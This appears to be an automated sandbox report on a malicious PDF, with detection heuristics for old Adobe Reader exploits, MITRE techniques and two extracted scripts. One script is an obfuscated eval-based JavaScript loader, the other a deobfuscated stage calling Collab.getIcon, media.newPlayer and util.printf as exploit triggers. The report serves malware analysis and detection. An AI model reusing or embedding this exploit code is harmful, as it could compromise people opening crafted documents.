MALICIOUS
348
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
This PDF file contains obfuscated JavaScript that leverages multiple CVEs (CVE-2009-4324, CVE-2008-2992) to achieve code execution. The script utilizes functions like Collab.getIcon, util.printf, and media.newPlayer, which are known indicators of exploit activity in PDF documents. The primary goal appears to be the execution of a second-stage payload, typical of a malicious document delivered via spearphishing.
Machine Learning
- Nyx PDF Classifier malicious score 0.9953
Heuristics 8
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECTA PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0x1342 | 2272 bytes |
SHA-256: 437a5d40b54247c17dfb3ac60e39d3ecfad672a269694af1851a077d9726a8d2 |
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Preview scriptFirst 1,000 lines of the extracted script
var uHQD = null;try {var nM=/[9k~&]/g;var xMT="len"+"gth";var dYZ=0;var gNCL="va~r& ~o&J~AkJ~=9tkhkiks~.~z9K~R9;&dkG9=k\'&gke~tkP&a9g~ekN&\'k;&ikV~U~Z&=kd~Gk+9\'kt9hkW9o&r&d9\'k;9l&=9d~G&+9\'~ukmkW~o9r9dksk\'&;&tkO9B9=~\'&p9a~gke9N9u9mk\'k;&h9G&H& &=9 ~7k8k 9;kv~GkTk=9\'&\'~;kh9GkT9=k\'9jko9i&n9\'&;~ekXkK&Z&=k\'k\'~;9d&Y~Z9=&0&;&x~K&N~=kSktkrki~n&gk;&t9WkJ&=&\'ks&ukbks9t&rk\'~;&l&U&Xk=k\'ke9v9aklk\'9;&xkMkT9=9\'~l9e~nkgktkh&\'9;~pkQ~X9=&\'&\\9\\kx~\'k;9n&=9\'kt~o&S9t&rki~nkg9\'&;&f~Q~Lk=~\'~pka9rks9ekIkn9t~\'k;~n&A9Zk=~\'9f&r9okm9C&hka9r~Cko9dkek\'k;&v~EkF9=~\'&c&h9akr9Cko9d&e9A9t&\'k;kx9QkR&=&49/&49;9f~I&T~=91~+k4~;9xkM~Z&=&2k0~0k+9595&;&j&W&X&=9\'&d~o~c9\'&;9lkO~F9=93k3~2&;kj~I&P~=~[~]9;9dkW~=k\'~\'k;~t9K9Z&=k196k;9z9I9Z9=k29;kr~G~Jk=94&;~t9I&D&=9o&J&A~Jk[~lk]k(kokJ&A~J~[kt&O~B9]9)9;kf&o&r&(~lkO&H~=kdkY9Z9;~lkO&H&<9 &tkIkD~;k ~l~O&H&+&+9)k{9v9akrk 9tkU~P~=&o~J&AkJ~[9i9VkUkZk]k(~o&JkA&J&[&tkO&B~]9,&lkO&H~,kt~r&uke~)k;kekX~K~Z~=&[ke~X9K~Zk,kt~UkP~]9[~h9G&T9]&(~v~GkT&)9;~;~}kf9o&r9(~l~O~H9=909;&l9O~H9 k<~ ke9X&K&Z9[&x9M9T9]9;~ &l&O9H9+~=9z~I~Z&)9{~lkC&T&=~e&XkK9Z~[9t9W~J9]~(~l&O~H9,&z~I9Z&)&;&l9U9P9=kpka&r&s&e~I&n&t9(9l~C&T&,kt&KkZk)~;kzkGkXk=klkU&P9^9h~G&H&;~l~G&Vk=~zkG&X9.9t9okS9t~r~i&n&g9(&t&KkZ9)9;&l9G~V9=9(&l~G&Vk[~xkM9Tk]9=k=9x~Q~R9)k &?k k\'k09\'k 9+k ~l~G&V~ &:& kl~G&Vk;kj9I~P&.kp9uks&h~(~l&G~V9)~;9}~t&r~y9 k{kd~Wk=kn9e~w9 kS&t9rki9n~g~(kp~Q9X~ 9+9 &j~IkP~[kh~GkTk]~(kp&Q&X9)9)9;9a&p&p~[~l&U&X9]k(9\'&d9Wk=~\"&\'9+9dkW~+k\'&\"9;~\'k)k;&o9J~AkJ~.&z&Y~L9=k(&d~W9[~tkW~J&]k(&d~W~[&xkM~T9]&-~l~OkF9)9)~;&o9J9A~Jk.kz9I&L&=k(&d&W9[9t~W&Jk]~(kd9Y&Zk,kdkWk[9x~MkT&]k-&lkO9F~)~)k;kz9G&T&(k)~;k}9 &ckakt&c9h&(kz&YkV9)~{&i&f~(&o9J9A&J9.kzkI~Lk)~{&t9r9yk k{ka&pkp~[&l~U&Xk]&(ko9J&A&J&.9z&IkLk)9;k}& &c~a~t9ckhk(~z9Y&V~)9{~akp&p~.9a&lkekr&tk(kz9Y&V9)k;&}9}~ ~ekl9s&e~ ~{&a~p9p~.kakl9e9r&t&(~\'~N9O& &C&O~D~E&\'~)9;9}9}9";var h=11+44;var xQR=2-1;function lOX(zUF){fSR='';for(lOH=zUF.length;lOH >=0;lOH--)fSR+=zUF.charAt(lOH);return fSR;}var jWX=this;var hQJ=new String("Func"+"tion");function jMX(zKD){this.zKR=zKD;this.dQZ=zKD;};;dOP=lOX("epy"+"tot"+"orp");gNCL=gNCL.replace(nM, '');lUX=lOX("lave");;jMX[dOP]={tUD : function(vWZ){if(vWZ > h){this.zKR[lUX](gNCL);} else {uHQD.tUD(vWZ+xQR);}},};var uHQD=new jMX(jWX);uHQD.tUD(dYZ);} catch(dW){app.alert(dW);}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 153 bytes |
SHA-256: 18699f9d55ae1f1fd22bc427d0f09ac790fd8fafb1557dc66370fe40318c5f52 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
/* getPageWords-XOR Pidief stage normalized */
app.viewerVersion;
Collab.getIcon("N."+unescape("%09"));
media.newPlayer(null);
util.printf("%45000f", 1);
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